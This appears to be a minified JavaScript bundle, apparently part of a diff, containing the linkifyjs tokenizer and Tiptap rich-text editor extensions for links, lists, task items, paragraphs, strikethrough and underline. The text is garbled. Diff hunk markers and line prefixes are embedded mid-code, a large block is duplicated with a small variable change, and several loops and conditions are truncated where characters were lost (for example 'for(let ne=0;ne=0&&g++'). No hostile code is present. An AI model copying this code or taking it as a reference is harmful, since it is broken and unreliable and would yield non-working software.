e)n.prototype[r]=e[r];return n.t=t,n}const RN=_f("email",{isLink:!0,toHref(){return"mailto:"+this.toString()}}),PN=_f("text"),S7=_f("nl"),Uu=_f("url",{isLink:!0,toHref(t=ud.defaultProtocol){return this.hasProtocol()?this.v:`${t}://${this.v}`},hasProtocol(){const t=this.tk;return t.length>=2&&t[0].t!==dd&&t[1].t===ai}}),ns=t=>new Mr(t);function C7({groups:t}){const e=t.domain.concat([Uh,qh,ni,Gh,Jh,Yh,Qh,Xh,rs,L0,Gc,Zh,ef,tf,Fs,rf,Yc,nf]),n=[Kh,ai,z0,$s,$0,Gc,Jc,F0,B0,Dh,Lh,Kc,qc,Rh,Ih,Ph,Oh,_h,zh,$h,Fh,Bh,Vh,Hh,Wh],r=[Uh,Kh,qh,Gh,Jh,Yh,Qh,Xh,rs,Kc,qc,Gc,Zh,ef,tf,Jc,Fs,rf,Yc,nf],a=ns(),i=Te(a,Yc);dt(i,r,i),dt(i,t.domain,i);const o=ns(),c=ns(),u=ns();dt(a,t.domain,o),dt(a,t.scheme,c),dt(a,t.slashscheme,u),dt(o,r,i),dt(o,t.domain,o);const h=Te(o,ni);Te(i,ni,h),Te(c,ni,h),Te(u,ni,h);const f=Te(i,$s);dt(f,r,i),dt(f,t.domain,i);const m=ns();dt(h,t.domain,m),dt(m,t.domain,m);const g=Te(m,$s);dt(g,t.domain,m);const y=ns(RN);dt(g,t.tld,y),dt(g,t.utld,y),Te(h,dd,y);const N=Te(m,rs);Te(N,rs,N),dt(N,t.domain,m),dt(y,t.domain,m),Te(y,$s,g),Te(y,rs,N);const w=Te(y,ai);dt(w,t.numeric,RN);const v=Te(o,rs),k=Te(o,$s);Te(v,rs,v),dt(v,t.domain,o),dt(k,r,i),dt(k,t.domain,o);const C=ns(Uu);dt(k,t.tld,C),dt(k,t.utld,C),dt(C,t.domain,o),dt(C,r,i),Te(C,$s,k),Te(C,rs,v),Te(C,ni,h);const E=Te(C,ai),T=ns(Uu);dt(E,t.numeric,T);const I=ns(Uu),O=ns();dt(I,e,I),dt(I,n,O),dt(O,e,I),dt(O,n,O),Te(C,Fs,I),Te(T,Fs,I);const L=Te(c,ai),R=Te(u,ai),D=Te(R,Fs),_=Te(D,Fs);dt(c,t.domain,o),Te(c,$s,k),Te(c,rs,v),dt(u,t.domain,o),Te(u,$s,k),Te(u,rs,v),dt(L,t.domain,I),Te(L,Fs,I),Te(L,Jc,I),dt(_,t.domain,I),dt(_,e,I),Te(_,Fs,I);const Z=[[Kc,qc],[Ih,Rh],[Ph,Oh],[Dh,Lh],[_h,zh],[$h,Fh],[Bh,Vh],[Hh,Wh]];for(let ne=0;ne=0&&g++,a++,f++;if(g<0)a-=f,a0&&(i.push(mg(PN,e,o)),o=[]),a-=g,f-=g;const y=m.t,N=n.slice(a-f,a);i.push(mg(y,e,N))}}return o.length>0&&i.push(mg(PN,e,o)),i}function mg(t,e,n){const r=n[0].s,a=n[n.length-1].e,i=e.slice(r,a);return new t(i,n)}const T7=typeof console<"u"&&console&&console.warn||(()=>{}),M7="until manual call of linkify.init(). Register all schemes and plugins before invoking linkify the first time.",Jt={scanner:null,parser:null,tokenQueue:[],pluginQueue:[],customSchemes:[],initialized:!1};function A7(){return Mr.groups={},Jt.scanner=null,Jt.parser=null,Jt.tokenQueue=[],Jt.pluginQueue=[],Jt.customSchemes=[],Jt.initialized=!1,Jt}function ON(t,e=!1){if(Jt.initialized&&T7(`linkifyjs: already initialized - will not register custom scheme "${t}" ${M7}`),!/^[0-9a-z]+(-[0-9a-z]+)*$/.test(t))throw new Error(`linkifyjs: incorrect scheme format. +`,N7="️",w7="‍",pg="";let Hu=null,Wu=null;function j7(t=[]){const e={};Mr.groups=e;const n=new Mr;Hu==null&&(Hu=AN(m7)),Wu==null&&(Wu=AN(g7)),Te(n,"'",Kh),Te(n,"{",Kc),Te(n,"}",qc),Te(n,"[",Ih),Te(n,"]",Rh),Te(n,"(",Ph),Te(n,")",Oh),Te(n,"<",Dh),Te(n,">",Lh),Te(n,"(",_h),Te(n,")",zh),Te(n,"「",$h),Te(n,"」",Fh),Te(n,"『",Bh),Te(n,"』",Vh),Te(n,"<",Hh),Te(n,">",Wh),Te(n,"&",Uh),Te(n,"*",qh),Te(n,"@",ni),Te(n,"`",Jh),Te(n,"^",Yh),Te(n,":",ai),Te(n,",",z0),Te(n,"$",Qh),Te(n,".",$s),Te(n,"=",Xh),Te(n,"!",$0),Te(n,"-",rs),Te(n,"%",Gc),Te(n,"|",Zh),Te(n,"+",ef),Te(n,"#",tf),Te(n,"?",Jc),Te(n,'"',F0),Te(n,"/",Fs),Te(n,";",B0),Te(n,"~",Yc),Te(n,"_",nf),Te(n,"\\",Gh),Te(n,"・",aC);const r=un(n,ma,L0,{[ux]:!0});un(r,ma,r);const a=un(r,pa,rC,{[Uc]:!0}),i=un(r,Mc,sC,{[Oc]:!0}),o=un(n,pa,ga,{[hx]:!0});un(o,ma,a),un(o,pa,o),un(a,ma,a),un(a,pa,a);const c=un(n,Mc,mx,{[fx]:!0});un(c,pa),un(c,ma,i),un(c,Mc,c),un(i,ma,i),un(i,pa),un(i,Mc,i);const u=Te(n,fg,_0,{[dg]:!0}),h=Te(n,MN,yx,{[dg]:!0}),f=un(n,hg,yx,{[dg]:!0});Te(n,pg,f),Te(h,fg,u),Te(h,pg,f),un(h,hg,f),Te(f,MN),Te(f,fg),un(f,hg,f),Te(f,pg,f);const m=un(n,ug,iC,{[nC]:!0});Te(m,"#"),un(m,ug,m),Te(m,N7,m);const g=Te(m,w7);Te(g,"#"),un(g,ug,m);const y=[[pa,o],[ma,a]],N=[[pa,null],[Mc,c],[ma,i]];for(let w=0;ww[0]>v[0]?1:-1);for(let w=0;w=0?C[px]=!0:pa.test(v)?ma.test(v)?C[Uc]=!0:C[hx]=!0:C[ux]=!0,TN(n,v,v,C)}return TN(n,"localhost",dd,{ascii:!0}),n.jd=new Mr(rf),{start:n,tokens:Object.assign({groups:e},oC)}}function lC(t,e){const n=k7(e.replace(/[A-Z]/g,c=>c.toLowerCase())),r=n.length,a=[];let i=0,o=0;for(;o=0&&(m+=n[o].length,g++),h+=n[o].length,i+=n[o].length,o++;i-=m,o-=g,h-=m,a.push({t:f.t,v:e.slice(i-h,i),s:i-h,e:i})}return a}function k7(t){const e=[],n=t.length;let r=0;for(;r56319||r+1===n||(i=t.charCodeAt(r+1))<56320||i>57343?t[r]:t.slice(r,r+2);e.push(o),r+=o.length}return e}function Qa(t,e,n,r,a){let i;const o=e.length;for(let c=0;c=0;)i++;if(i>0){e.push(n.join(""));for(let o=parseInt(t.substring(r,r+i),10);o>0;o--)n.pop();r+=i}else n.push(t[r]),r++}return e}const ud={defaultProtocol:"http",events:null,format:IN,formatHref:IN,nl2br:!1,tagName:"a",target:null,rel:null,validate:!0,truncate:1/0,className:null,attributes:null,ignoreTags:[],render:null};function V0(t,e=null){let n=Object.assign({},ud);t&&(n=Object.assign(n,t instanceof V0?t.o:t));const r=n.ignoreTags,a=[];for(let i=0;in?r.substring(0,n)+"…":r},toFormattedHref(t){return t.get("formatHref",this.toHref(t.get("defaultProtocol")),this)},startIndex(){return this.tk[0].s},endIndex(){return this.tk[this.tk.length-1].e},toObject(t=ud.defaultProtocol){return{type:this.t,value:this.toString(),isLink:this.isLink,href:this.toHref(t),start:this.startIndex(),end:this.endIndex()}},toFormattedObject(t){return{type:this.t,value:this.toFormattedString(t),isLink:this.isLink,href:this.toFormattedHref(t),start:this.startIndex(),end:this.endIndex()}},validate(t){return t.get("validate",this.toString(),this)},render(t){const e=this,n=this.toHref(t.get("defaultProtocol")),r=t.get("formatHref",n,this),a=t.get("tagName",n,e),i=this.toFormattedString(t),o={},c=t.get("className",n,e),u=t.get("target",n,e),h=t.get("rel",n,e),f=t.getObj("attributes",n,e),m=t.getObj("events",n,e);return o.href=r,c&&(o.class=c),u&&(o.target=u),h&&(o.rel=h),f&&Object.assign(o,f),{tagName:a,attributes:o,content:i,eventListeners:m}}};function _f(t,e){class n extends cC{constructor(a,i){super(a,i),this.t=t}}for(const r in e)n.prototype[r]=e[r];return n.t=t,n}const RN=_f("email",{isLink:!0,toHref(){return"mailto:"+this.toString()}}),PN=_f("text"),S7=_f("nl"),Uu=_f("url",{isLink:!0,toHref(t=ud.defaultProtocol){return this.hasProtocol()?this.v:`${t}://${this.v}`},hasProtocol(){const t=this.tk;return t.length>=2&&t[0].t!==dd&&t[1].t===ai}}),ns=t=>new Mr(t);function C7({groups:t}){const e=t.domain.concat([Uh,qh,ni,Gh,Jh,Yh,Qh,Xh,rs,L0,Gc,Zh,ef,tf,Fs,rf,Yc,nf]),n=[Kh,ai,z0,$s,$0,Gc,Jc,F0,B0,Dh,Lh,Kc,qc,Rh,Ih,Ph,Oh,_h,zh,$h,Fh,Bh,Vh,Hh,Wh],r=[Uh,Kh,qh,Gh,Jh,Yh,Qh,Xh,rs,Kc,qc,Gc,Zh,ef,tf,Jc,Fs,rf,Yc,nf],a=ns(),i=Te(a,Yc);dt(i,r,i),dt(i,t.domain,i);const o=ns(),c=ns(),u=ns();dt(a,t.domain,o),dt(a,t.scheme,c),dt(a,t.slashscheme,u),dt(o,r,i),dt(o,t.domain,o);const h=Te(o,ni);Te(i,ni,h),Te(c,ni,h),Te(u,ni,h);const f=Te(i,$s);dt(f,r,i),dt(f,t.domain,i);const m=ns();dt(h,t.domain,m),dt(m,t.domain,m);const g=Te(m,$s);dt(g,t.domain,m);const y=ns(RN);dt(g,t.tld,y),dt(g,t.utld,y),Te(h,dd,y);const N=Te(m,rs);Te(N,rs,N),dt(N,t.domain,m),dt(y,t.domain,m),Te(y,$s,g),Te(y,rs,N);const w=Te(y,ai);dt(w,t.numeric,RN);const v=Te(o,rs),k=Te(o,$s);Te(v,rs,v),dt(v,t.domain,o),dt(k,r,i),dt(k,t.domain,o);const C=ns(Uu);dt(k,t.tld,C),dt(k,t.utld,C),dt(C,t.domain,o),dt(C,r,i),Te(C,$s,k),Te(C,rs,v),Te(C,ni,h);const E=Te(C,ai),T=ns(Uu);dt(E,t.numeric,T);const I=ns(Uu),O=ns();dt(I,e,I),dt(I,n,O),dt(O,e,I),dt(O,n,O),Te(C,Fs,I),Te(T,Fs,I);const L=Te(c,ai),R=Te(u,ai),D=Te(R,Fs),z=Te(D,Fs);dt(c,t.domain,o),Te(c,$s,k),Te(c,rs,v),dt(u,t.domain,o),Te(u,$s,k),Te(u,rs,v),dt(L,t.domain,I),Te(L,Fs,I),Te(L,Jc,I),dt(z,t.domain,I),dt(z,e,I),Te(z,Fs,I);const Z=[[Kc,qc],[Ih,Rh],[Ph,Oh],[Dh,Lh],[_h,zh],[$h,Fh],[Bh,Vh],[Hh,Wh]];for(let ne=0;ne=0&&g++,a++,f++;if(g<0)a-=f,a0&&(i.push(mg(PN,e,o)),o=[]),a-=g,f-=g;const y=m.t,N=n.slice(a-f,a);i.push(mg(y,e,N))}}return o.length>0&&i.push(mg(PN,e,o)),i}function mg(t,e,n){const r=n[0].s,a=n[n.length-1].e,i=e.slice(r,a);return new t(i,n)}const T7=typeof console<"u"&&console&&console.warn||(()=>{}),M7="until manual call of linkify.init(). Register all schemes and plugins before invoking linkify the first time.",Jt={scanner:null,parser:null,tokenQueue:[],pluginQueue:[],customSchemes:[],initialized:!1};function A7(){return Mr.groups={},Jt.scanner=null,Jt.parser=null,Jt.tokenQueue=[],Jt.pluginQueue=[],Jt.customSchemes=[],Jt.initialized=!1,Jt}function ON(t,e=!1){if(Jt.initialized&&T7(`linkifyjs: already initialized - will not register custom scheme "${t}" ${M7}`),!/^[0-9a-z]+(-[0-9a-z]+)*$/.test(t))throw new Error(`linkifyjs: incorrect scheme format. 1. Must only contain digits, lowercase ASCII letters or "-" 2. Cannot start or end with "-" 3. "-" cannot repeat`);Jt.customSchemes.push([t,e])}function I7(){Jt.scanner=j7(Jt.customSchemes);for(let t=0;t{const a=e.some(h=>h.docChanged)&&!n.doc.eq(r.doc),i=e.some(h=>h.getMeta("preventAutolink"));if(!a||i)return;const{tr:o}=r,c=N2(n.doc,[...e]);if(M2(c).forEach(({newRange:h})=>{const f=D8(r.doc,h,y=>y.isTextblock);let m,g;if(f.length>1)m=f[0],g=r.doc.textBetween(m.pos,m.pos+m.node.nodeSize,void 0," ");else if(f.length){const y=r.doc.textBetween(h.from,h.to," "," ");if(!P7.test(y))return;m=f[0],g=r.doc.textBetween(m.pos,h.to,void 0," ")}if(m&&g){const y=g.split(R7).filter(Boolean);if(y.length<=0)return!1;const N=y[y.length-1],w=m.pos+g.lastIndexOf(N);if(!N)return!1;const v=H0(N).map(k=>k.toObject(t.defaultProtocol));if(!D7(v))return!1;v.filter(k=>k.isLink).map(k=>({...k,from:w+k.start+1,to:w+k.end+1})).filter(k=>r.schema.marks.code?!r.doc.rangeHasMark(k.from,k.to,r.schema.marks.code):!0).filter(k=>t.validate(k.value)).filter(k=>t.shouldAutoLink(k.value)).forEach(k=>{A0(k.from,k.to,r.doc).some(C=>C.mark.type===t.type)||o.addMark(k.from,k.to,t.type.create({href:k.href}))})}}),!!o.steps.length)return o}})}function _7(t){return new Kt({key:new tn("handleClickLink"),props:{handleClick:(e,n,r)=>{var a,i;if(r.button!==0||!e.editable)return!1;let o=null;if(r.target instanceof HTMLAnchorElement)o=r.target;else{const u=r.target;if(!u)return!1;const h=t.editor.view.dom;o=u.closest("a"),o&&!h.contains(o)&&(o=null)}if(!o)return!1;let c=!1;if(t.enableClickSelection&&(c=t.editor.commands.extendMarkRange(t.type.name)),t.openOnClick){const u=T2(e.state,t.type.name),h=(a=o.href)!=null?a:u.href,f=(i=o.target)!=null?i:u.target;h&&(window.open(h,f),c=!0)}return c}}})}function z7(t){return new Kt({key:new tn("handlePasteLink"),props:{handlePaste:(e,n,r)=>{const{shouldAutoLink:a}=t,{state:i}=e,{selection:o}=i,{empty:c}=o;if(c)return!1;let u="";r.content.forEach(f=>{u+=f.textContent});const h=dC(u,{defaultProtocol:t.defaultProtocol}).find(f=>f.isLink&&f.value===u);return!u||!h||a!==void 0&&!a(h.value)?!1:t.editor.commands.setMark(t.type,{href:h.href})}}})}function eo(t,e){const n=["http","https","ftp","ftps","mailto","tel","callto","sms","cid","xmpp"];return e&&e.forEach(r=>{const a=typeof r=="string"?r:r.scheme;a&&n.push(a)}),!t||t.replace(O7,"").match(new RegExp(`^(?:(?:${n.join("|")}):|[^a-z]|[a-z0-9+.-]+(?:[^a-z+.-:]|$))`,"i"))}var $7=Ao.create({name:"link",priority:1e3,keepOnSplit:!1,exitable:!0,onCreate(){this.options.validate&&!this.options.shouldAutoLink&&(this.options.shouldAutoLink=this.options.validate,console.warn("The `validate` option is deprecated. Rename to the `shouldAutoLink` option instead.")),this.options.protocols.forEach(t=>{if(typeof t=="string"){ON(t);return}ON(t.scheme,t.optionalSlashes)})},onDestroy(){A7()},inclusive(){return this.options.autolink},addOptions(){return{openOnClick:!0,enableClickSelection:!1,linkOnPaste:!0,autolink:!0,protocols:[],defaultProtocol:"http",HTMLAttributes:{target:"_blank",rel:"noopener noreferrer nofollow",class:null},isAllowedUri:(t,e)=>!!eo(t,e.protocols),validate:t=>!!t,shouldAutoLink:t=>{const e=/^[a-z][a-z0-9+.-]*:\/\//i.test(t),n=/^[a-z][a-z0-9+.-]*:/i.test(t);if(e||n&&!t.includes("@"))return!0;const a=(t.includes("@")?t.split("@").pop():t).split(/[/?#:]/)[0];return!(/^\d{1,3}(\.\d{1,3}){3}$/.test(a)||!/\./.test(a))}}},addAttributes(){return{href:{default:null,parseHTML(t){return t.getAttribute("href")}},target:{default:this.options.HTMLAttributes.target},rel:{default:this.options.HTMLAttributes.rel},class:{default:this.options.HTMLAttributes.class},title:{default:null}}},parseHTML(){return[{tag:"a[href]",getAttrs:t=>{const e=t.getAttribute("href");return!e||!this.options.isAllowedUri(e,{defaultValidate:n=>!!eo(n,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?!1:null}}]},renderHTML({HTMLAttributes:t}){return this.options.isAllowedUri(t.href,{defaultValidate:e=>!!eo(e,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?["a",St(this.options.HTMLAttributes,t),0]:["a",St(this.options.HTMLAttributes,{...t,href:""}),0]},markdownTokenName:"link",parseMarkdown:(t,e)=>e.applyMark("link",e.parseInline(t.tokens||[]),{href:t.href,title:t.title||null}),renderMarkdown:(t,e)=>{var n,r,a,i;const o=(r=(n=t.attrs)==null?void 0:n.href)!=null?r:"",c=(i=(a=t.attrs)==null?void 0:a.title)!=null?i:"",u=e.renderChildren(t);return c?`[${u}](${o} "${c}")`:`[${u}](${o})`},addCommands(){return{setLink:t=>({chain:e})=>{const{href:n}=t;return this.options.isAllowedUri(n,{defaultValidate:r=>!!eo(r,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?e().setMark(this.name,t).setMeta("preventAutolink",!0).run():!1},toggleLink:t=>({chain:e})=>{const{href:n}=t||{};return n&&!this.options.isAllowedUri(n,{defaultValidate:r=>!!eo(r,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?!1:e().toggleMark(this.name,t,{extendEmptyMarkRange:!0}).setMeta("preventAutolink",!0).run()},unsetLink:()=>({chain:t})=>t().unsetMark(this.name,{extendEmptyMarkRange:!0}).setMeta("preventAutolink",!0).run()}},addPasteRules(){return[jo({find:t=>{const e=[];if(t){const{protocols:n,defaultProtocol:r}=this.options,a=dC(t).filter(i=>i.isLink&&this.options.isAllowedUri(i.value,{defaultValidate:o=>!!eo(o,n),protocols:n,defaultProtocol:r}));a.length&&a.forEach(i=>{this.options.shouldAutoLink(i.value)&&e.push({text:i.value,data:{href:i.href},index:i.start})})}return e},type:this.type,getAttributes:t=>{var e;return{href:(e=t.data)==null?void 0:e.href}}})]},addProseMirrorPlugins(){const t=[],{protocols:e,defaultProtocol:n}=this.options;return this.options.autolink&&t.push(L7({type:this.type,defaultProtocol:this.options.defaultProtocol,validate:r=>this.options.isAllowedUri(r,{defaultValidate:a=>!!eo(a,e),protocols:e,defaultProtocol:n}),shouldAutoLink:this.options.shouldAutoLink})),t.push(_7({type:this.type,editor:this.editor,openOnClick:this.options.openOnClick==="whenNotEditable"?!0:this.options.openOnClick,enableClickSelection:this.options.enableClickSelection})),this.options.linkOnPaste&&t.push(z7({editor:this.editor,defaultProtocol:this.options.defaultProtocol,type:this.type,shouldAutoLink:this.options.shouldAutoLink})),t}}),F7=Object.defineProperty,B7=(t,e)=>{for(var n in e)F7(t,n,{get:e[n],enumerable:!0})},V7="listItem",DN="textStyle",LN=/^\s*([-+*])\s$/,uC=Cn.create({name:"bulletList",addOptions(){return{itemTypeName:"listItem",HTMLAttributes:{},keepMarks:!1,keepAttributes:!1}},group:"block list",content(){return`${this.options.itemTypeName}+`},parseHTML(){return[{tag:"ul"}]},renderHTML({HTMLAttributes:t}){return["ul",St(this.options.HTMLAttributes,t),0]},markdownTokenName:"list",parseMarkdown:(t,e)=>t.type!=="list"||t.ordered?[]:{type:"bulletList",content:t.items?e.parseChildren(t.items):[]},renderMarkdown:(t,e)=>t.content?e.renderChildren(t.content,` @@ -747,11 +747,11 @@ ${y.slice(h+2)}`,m+=1;else break}e.push({indent:h,number:parseInt(c,10),content: `):"",markdownTokenizer:{name:"orderedList",level:"block",start:t=>{const e=t.match(/^(\s*)(\d+)\.\s+/),n=e==null?void 0:e.index;return n!==void 0?n:-1},tokenize:(t,e,n)=>{var r;const a=t.split(` `),[i,o]=K7(a);if(i.length===0)return;const c=bC(i,0,n);return c.length===0?void 0:{type:"list",ordered:!0,start:((r=i[0])==null?void 0:r.number)||1,items:c,raw:a.slice(0,o).join(` `)}}},markdownOptions:{indentsContent:!0},addCommands(){return{toggleOrderedList:()=>({commands:t,chain:e})=>this.options.keepAttributes?e().toggleList(this.name,this.options.itemTypeName,this.options.keepMarks).updateAttributes(G7,this.editor.getAttributes(zN)).run():t.toggleList(this.name,this.options.itemTypeName,this.options.keepMarks)}},addKeyboardShortcuts(){return{"Mod-Shift-7":()=>this.editor.commands.toggleOrderedList()}},addInputRules(){let t=Al({find:$N,type:this.type,getAttributes:e=>({start:+e[1]}),joinPredicate:(e,n)=>n.childCount+n.attrs.start===+e[1]});return(this.options.keepMarks||this.options.keepAttributes)&&(t=Al({find:$N,type:this.type,keepMarks:this.options.keepMarks,keepAttributes:this.options.keepAttributes,getAttributes:e=>({start:+e[1],...this.editor.getAttributes(zN)}),joinPredicate:(e,n)=>n.childCount+n.attrs.start===+e[1],editor:this.editor})),[t]}}),J7=/^\s*(\[([( |x])?\])\s$/,Y7=Cn.create({name:"taskItem",addOptions(){return{nested:!1,HTMLAttributes:{},taskListTypeName:"taskList",a11y:void 0}},content(){return this.options.nested?"paragraph block*":"paragraph+"},defining:!0,addAttributes(){return{checked:{default:!1,keepOnSplit:!1,parseHTML:t=>{const e=t.getAttribute("data-checked");return e===""||e==="true"},renderHTML:t=>({"data-checked":t.checked})}}},parseHTML(){return[{tag:`li[data-type="${this.name}"]`,priority:51}]},renderHTML({node:t,HTMLAttributes:e}){return["li",St(this.options.HTMLAttributes,e,{"data-type":this.name}),["label",["input",{type:"checkbox",checked:t.attrs.checked?"checked":null}],["span"]],["div",0]]},parseMarkdown:(t,e)=>{const n=[];if(t.tokens&&t.tokens.length>0?n.push(e.createNode("paragraph",{},e.parseInline(t.tokens))):t.text?n.push(e.createNode("paragraph",{},[e.createNode("text",{text:t.text})])):n.push(e.createNode("paragraph",{},[])),t.nestedTokens&&t.nestedTokens.length>0){const r=e.parseChildren(t.nestedTokens);n.push(...r)}return e.createNode("taskItem",{checked:t.checked||!1},n)},renderMarkdown:(t,e)=>{var n;const a=`- [${(n=t.attrs)!=null&&n.checked?"x":" "}] `;return O0(t,e,a)},addKeyboardShortcuts(){const t={Enter:()=>this.editor.commands.splitListItem(this.name),"Shift-Tab":()=>this.editor.commands.liftListItem(this.name)};return this.options.nested?{...t,Tab:()=>this.editor.commands.sinkListItem(this.name)}:t},addNodeView(){return({node:t,HTMLAttributes:e,getPos:n,editor:r})=>{const a=document.createElement("li"),i=document.createElement("label"),o=document.createElement("span"),c=document.createElement("input"),u=document.createElement("div"),h=m=>{var g,y;c.ariaLabel=((y=(g=this.options.a11y)==null?void 0:g.checkboxLabel)==null?void 0:y.call(g,m,c.checked))||`Task item checkbox for ${m.textContent||"empty task item"}`};h(t),i.contentEditable="false",c.type="checkbox",c.addEventListener("mousedown",m=>m.preventDefault()),c.addEventListener("change",m=>{if(!r.isEditable&&!this.options.onReadOnlyChecked){c.checked=!c.checked;return}const{checked:g}=m.target;r.isEditable&&typeof n=="function"&&r.chain().focus(void 0,{scrollIntoView:!1}).command(({tr:y})=>{const N=n();if(typeof N!="number")return!1;const w=y.doc.nodeAt(N);return y.setNodeMarkup(N,void 0,{...w==null?void 0:w.attrs,checked:g}),!0}).run(),!r.isEditable&&this.options.onReadOnlyChecked&&(this.options.onReadOnlyChecked(t,g)||(c.checked=!c.checked))}),Object.entries(this.options.HTMLAttributes).forEach(([m,g])=>{a.setAttribute(m,g)}),a.dataset.checked=t.attrs.checked,c.checked=t.attrs.checked,i.append(c,o),a.append(i,u),Object.entries(e).forEach(([m,g])=>{a.setAttribute(m,g)});let f=new Set(Object.keys(e));return{dom:a,contentDOM:u,update:m=>{if(m.type!==this.type)return!1;a.dataset.checked=m.attrs.checked,c.checked=m.attrs.checked,h(m);const g=r.extensionManager.attributes,y=cd(m,g),N=new Set(Object.keys(y)),w=this.options.HTMLAttributes;return f.forEach(v=>{N.has(v)||(v in w?a.setAttribute(v,w[v]):a.removeAttribute(v))}),Object.entries(y).forEach(([v,k])=>{k==null?v in w?a.setAttribute(v,w[v]):a.removeAttribute(v):a.setAttribute(v,k)}),f=N,!0}}}},addInputRules(){return[Al({find:J7,type:this.type,getAttributes:t=>({checked:t[t.length-1]==="x"})})]}}),Q7=Cn.create({name:"taskList",addOptions(){return{itemTypeName:"taskItem",HTMLAttributes:{}}},group:"block list",content(){return`${this.options.itemTypeName}+`},parseHTML(){return[{tag:`ul[data-type="${this.name}"]`,priority:51}]},renderHTML({HTMLAttributes:t}){return["ul",St(this.options.HTMLAttributes,t,{"data-type":this.name}),0]},parseMarkdown:(t,e)=>e.createNode("taskList",{},e.parseChildren(t.items||[])),renderMarkdown:(t,e)=>t.content?e.renderChildren(t.content,` -`):"",markdownTokenizer:{name:"taskList",level:"block",start(t){var e;const n=(e=t.match(/^\s*[-+*]\s+\[([ xX])\]\s+/))==null?void 0:e.index;return n!==void 0?n:-1},tokenize(t,e,n){const r=i=>{const o=cx(i,{itemPattern:/^(\s*)([-+*])\s+\[([ xX])\]\s+(.*)$/,extractItemData:c=>({indentLevel:c[1].length,mainContent:c[4],checked:c[3].toLowerCase()==="x"}),createToken:(c,u)=>({type:"taskItem",raw:"",mainContent:c.mainContent,indentLevel:c.indentLevel,checked:c.checked,text:c.mainContent,tokens:n.inlineTokens(c.mainContent),nestedTokens:u}),customNestedParser:r},n);return o?[{type:"taskList",raw:o.raw,items:o.items}]:n.blockTokens(i)},a=cx(t,{itemPattern:/^(\s*)([-+*])\s+\[([ xX])\]\s+(.*)$/,extractItemData:i=>({indentLevel:i[1].length,mainContent:i[4],checked:i[3].toLowerCase()==="x"}),createToken:(i,o)=>({type:"taskItem",raw:"",mainContent:i.mainContent,indentLevel:i.indentLevel,checked:i.checked,text:i.mainContent,tokens:n.inlineTokens(i.mainContent),nestedTokens:o}),customNestedParser:r},n);if(a)return{type:"taskList",raw:a.raw,items:a.items}}},markdownOptions:{indentsContent:!0},addCommands(){return{toggleTaskList:()=>({commands:t})=>t.toggleList(this.name,this.options.itemTypeName)}},addKeyboardShortcuts(){return{"Mod-Shift-9":()=>this.editor.commands.toggleTaskList()}}});mn.create({name:"listKit",addExtensions(){const t=[];return this.options.bulletList!==!1&&t.push(uC.configure(this.options.bulletList)),this.options.listItem!==!1&&t.push(hC.configure(this.options.listItem)),this.options.listKeymap!==!1&&t.push(yC.configure(this.options.listKeymap)),this.options.orderedList!==!1&&t.push(vC.configure(this.options.orderedList)),this.options.taskItem!==!1&&t.push(Y7.configure(this.options.taskItem)),this.options.taskList!==!1&&t.push(Q7.configure(this.options.taskList)),t}});var FN=" ",X7=" ",Z7=Cn.create({name:"paragraph",priority:1e3,addOptions(){return{HTMLAttributes:{}}},group:"block",content:"inline*",parseHTML(){return[{tag:"p"}]},renderHTML({HTMLAttributes:t}){return["p",St(this.options.HTMLAttributes,t),0]},parseMarkdown:(t,e)=>{const n=t.tokens||[];if(n.length===1&&n[0].type==="image")return e.parseChildren([n[0]]);const r=e.parseInline(n);return r.length===1&&r[0].type==="text"&&(r[0].text===FN||r[0].text===X7)?e.createNode("paragraph",void 0,[]):e.createNode("paragraph",void 0,r)},renderMarkdown:(t,e)=>{if(!t)return"";const n=Array.isArray(t.content)?t.content:[];return n.length===0?FN:e.renderChildren(n)},addCommands(){return{setParagraph:()=>({commands:t})=>t.setNode(this.name)}},addKeyboardShortcuts(){return{"Mod-Alt-0":()=>this.editor.commands.setParagraph()}}}),ez=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))$/,tz=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))/g,nz=Ao.create({name:"strike",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"s"},{tag:"del"},{tag:"strike"},{style:"text-decoration",consuming:!1,getAttrs:t=>t.includes("line-through")?{}:!1}]},renderHTML({HTMLAttributes:t}){return["s",St(this.options.HTMLAttributes,t),0]},markdownTokenName:"del",parseMarkdown:(t,e)=>e.applyMark("strike",e.parseInline(t.tokens||[])),renderMarkdown:(t,e)=>`~~${e.renderChildren(t)}~~`,addCommands(){return{setStrike:()=>({commands:t})=>t.setMark(this.name),toggleStrike:()=>({commands:t})=>t.toggleMark(this.name),unsetStrike:()=>({commands:t})=>t.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-Shift-s":()=>this.editor.commands.toggleStrike()}},addInputRules(){return[Ml({find:ez,type:this.type})]},addPasteRules(){return[jo({find:tz,type:this.type})]}}),rz=Cn.create({name:"text",group:"inline",parseMarkdown:t=>({type:"text",text:t.text||""}),renderMarkdown:t=>t.text||""}),sz=Ao.create({name:"underline",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"u"},{style:"text-decoration",consuming:!1,getAttrs:t=>t.includes("underline")?{}:!1}]},renderHTML({HTMLAttributes:t}){return["u",St(this.options.HTMLAttributes,t),0]},parseMarkdown(t,e){return e.applyMark(this.name||"underline",e.parseInline(t.tokens||[]))},renderMarkdown(t,e){return`++${e.renderChildren(t)}++`},markdownTokenizer:{name:"underline",level:"inline",start(t){return t.indexOf("++")},tokenize(t,e,n){const a=/^(\+\+)([\s\S]+?)(\+\+)/.exec(t);if(!a)return;const i=a[2].trim();return{type:"underline",raw:a[0],text:i,tokens:n.inlineTokens(i)}}},addCommands(){return{setUnderline:()=>({commands:t})=>t.setMark(this.name),toggleUnderline:()=>({commands:t})=>t.toggleMark(this.name),unsetUnderline:()=>({commands:t})=>t.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-u":()=>this.editor.commands.toggleUnderline(),"Mod-U":()=>this.editor.commands.toggleUnderline()}}});function az(t={}){return new Kt({view(e){return new iz(e,t)}})}class iz{constructor(e,n){var r;this.editorView=e,this.cursorPos=null,this.element=null,this.timeout=-1,this.width=(r=n.width)!==null&&r!==void 0?r:1,this.color=n.color===!1?void 0:n.color||"black",this.class=n.class,this.handlers=["dragover","dragend","drop","dragleave"].map(a=>{let 